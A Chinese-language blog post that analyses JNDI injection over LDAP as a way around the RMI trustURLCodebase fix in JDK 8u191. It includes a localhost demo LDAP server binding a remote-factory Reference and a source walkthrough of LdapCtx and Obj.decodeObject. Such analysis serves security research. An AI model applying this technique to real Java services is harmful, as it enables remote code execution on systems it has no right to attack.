JNDI注入-ldap篇

admin 2026-03-25 23:29:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解JNDI注入中LDAP利用方式,旨在绕过JDK8u191后RMI的trustURLCodebase防御限制。文章分析RMI阻断逻辑后,通过代码演示搭建LDAP服务攻击过程,并深入剖析LdapCtx与Obj源码,揭示LDAP解析Reference对象及加载远程工厂类的机制。该技术适用于JDK8u121-191版本,为红队渗透提供了绕过RMI限制的有效思路。 综合评分: 82 文章分类: 漏洞分析,渗透测试,代码审计,红队


cover_image

JNDI注入-ldap篇

小猫咪 小猫咪

梦想变成大黑客的小猫咪

2026年3月23日 22:58 北京

rmi修复

RegistryContext中加入

static final boolean trustURLCodebase;

trustURLCodebase系统参数默认是false

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
    throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}

这是整个方法中最关键的防御逻辑

  • • 条件 1:var8 != null

  • • 确认提取到了Reference对象。

  • • 条件 2:var8.getFactoryClassLocation() != null

  • • 检查这个Reference是否指定了工厂类的远程加载地址(即factoryLocation,例如http://...)。

  • • 如果为null,说明工厂类在本地 classpath 中,相对安全。

  • • 如果不为null,说明需要通过网络下载类文件,这是高危操作

  • • 条件 3:!trustURLCodebase

  • • 检查全局信任标志trustURLCodebase是否为false

  • • 这个标志对应 JVM 启动参数:Dcom.sun.jndi.rmi.object.trustURLCodebase=true

  • • 默认情况下(JDK 8u191+),这个值为false

  • • 结果

  • • 如果同时满足以上三个条件(是 Reference + 有远程地址 + 未开启信任),直接抛出ConfigurationException异常,阻断后续的类加载过程。

  • • 这就是为什么在现代 JDK 上,默认的 JNDI RMI 注入 payload 会失效的原因。

jndi-ldap

开启一个ldap服务

jndi-ldap server

package org.example;

import ...

public class JNDILDAPServer {
    public static void main(String[] args) throws Exception{
        Hashtable env = new Hashtable();
//      env.put(Context.INITIAL_CONTEXT_FACTORY,
//      "com.sun.jndi.ldap.LdapCtxFactory");
//      env.put(Context.PROVIDER_URL,
//      "ldap://localhost:10389");

        InitialContext initialContext = new InitialContext();
        Reference refObj = new Reference("TestRef", "TestRef", "http://localhost:7777/");
        initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com", refObj);
    }
}

client端

package org.example.rmi;

import javax.naming.InitialContext;

public class JNDIRMIClient {
    public static void main( String[] args ) throws Exception
    {
        InitialContext initialContext = new InitialContext();
        RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

可以打jdk8u  121-191

代码分析

LdapCtx类

protected Object c_lookup(Name name, Continuation cont)
            throws NamingException {
        cont.setError(this, name);
        Object obj = null;
        Attributes attrs;

        try {
            SearchControls cons = new SearchControls();
            cons.setSearchScope(SearchControls.OBJECT_SCOPE);
            cons.setReturningAttributes(null); // ask for all attributes
            cons.setReturningObjFlag(true); // need values to construct obj

            LdapResult answer = doSearchOnce(name, "(objectClass=*)", cons, true);
            respCtls = answer.resControls; // retrieve response controls

            // should get back 1 SearchResponse and 1 SearchResult

            if (answer.status != LdapClient.LDAP_SUCCESS) {
                processReturnCode(answer, name);
            }

            if (answer.entries == null || answer.entries.size() != 1) {
                // found it but got no attributes
                attrs = new BasicAttributes(LdapClient.caseIgnore);
            } else {
                LdapEntry entry = answer.entries.elementAt(0);
                attrs = entry.attributes;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Vector<Control> entryCtls = entry.respCtls; // retrieve entry controls
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (entryCtls != null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; appendVector(respCtls, entryCtls); // concatenate controls
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // serialized object or object reference
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; obj = Obj.decodeObject(attrs);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (obj == null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; obj = new LdapCtx(this, fullyQualifiedName(name));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; } catch (LdapReferralException e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (handleReferrals == LdapClient.LDAP_REF_THROW)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw cont.fillInException(e);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // process the referrals sequentially
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (true) {

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LdapReferralContext refCtx =
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (LdapReferralContext)e.getReferralContext(envprops, bindCtls);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // repeat the original operation at the new context
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return refCtx.lookup(name);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (LdapReferralException re) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e = re;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } finally {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Make sure we close referral context
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; refCtx.close();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; } catch (NamingException e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw cont.fillInException(e);
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return DirectoryManager.getObjectInstance(obj, name,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this, envprops, attrs);

&nbsp; &nbsp; &nbsp; &nbsp; } catch (NamingException e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw cont.fillInException(e);

&nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NamingException e2 = new NamingException(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "problem generating object using object factory");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e2.setRootCause(e);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw cont.fillInException(e2);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp;obj = Obj.decodeObject(attrs);
&nbsp; &nbsp; static Object decodeObject(Attributes attrs)
&nbsp; &nbsp; &nbsp; &nbsp; throws NamingException {

&nbsp; &nbsp; &nbsp; &nbsp; Attribute attr;

&nbsp; &nbsp; &nbsp; &nbsp; // Get codebase, which is used in all 3 cases.
&nbsp; &nbsp; &nbsp; &nbsp; String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
&nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ClassLoader cl = helper.getURLClassLoader(codebases);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return deserializeObject((byte[])attr.get(), cl);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // For backward compatibility only
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return decodeRmiObject(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (String)attr.get(), codebases);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (attr != null &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return decodeReference(attrs, codebases);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return null;
&nbsp; &nbsp; &nbsp; &nbsp; } catch (IOException e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NamingException ne = new NamingException();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ne.setRootCause(e);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw ne;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

拿到String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));

| 类型 | 是否直接存储对象 | 是否涉及工厂/引用 | 安全风险 | 典型用途 | | — | — | — | — | — | | Serializable Objects | ✅ 是 | ❌ 否 | 反序列化漏洞 | 配置、缓存 | | Referenceable / Reference | ❌ 否(存 Reference) | ✅ 是 | JNDI 注入 RCE | 动态对象构建 | | DirContext + Attributes | ✅ 是(+属性) | ❌ 否 | 较低 | LDAP 用户/资源管理 | | RMI Objects | ❌ 否(存 stub/ref) | ✅ 可能 | RMI 注册表劫持 | 分布式服务调用 | | CORBA Objects | ❌ 否 | ✅ 可能 | 较低(老旧) | 跨语言分布式系统 |

SERIALIZED_DATA如果是序列化的 调用,ClassLoader cl = helper.getURLClassLoader(codebases);

因为是一个引用的

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (attr != null &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return decodeReference(attrs, codebases);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
decodeReference方法 :解出引用

回到ldapctx

&nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return DirectoryManager.getObjectInstance(obj, name,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this, envprops, attrs);

&nbsp; &nbsp; &nbsp; &nbsp; }

拿到工厂

factory = getObjectFactoryFromReference(ref, f);

回到namingmanager

又走了一遍流程,回顾了一下jndi


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:梦想变成大黑客的小猫咪 小猫咪 小猫咪《JNDI注入-ldap篇》

JNDI注入-ldap篇 网络安全文章

JNDI注入-ldap篇

文章总结: 本文详解JNDI注入中LDAP利用方式,旨在绕过JDK8u191后RMI的trustURLCodebase防御限制。文章分析RMI阻断逻辑后,通过代
评论:0   参与:  0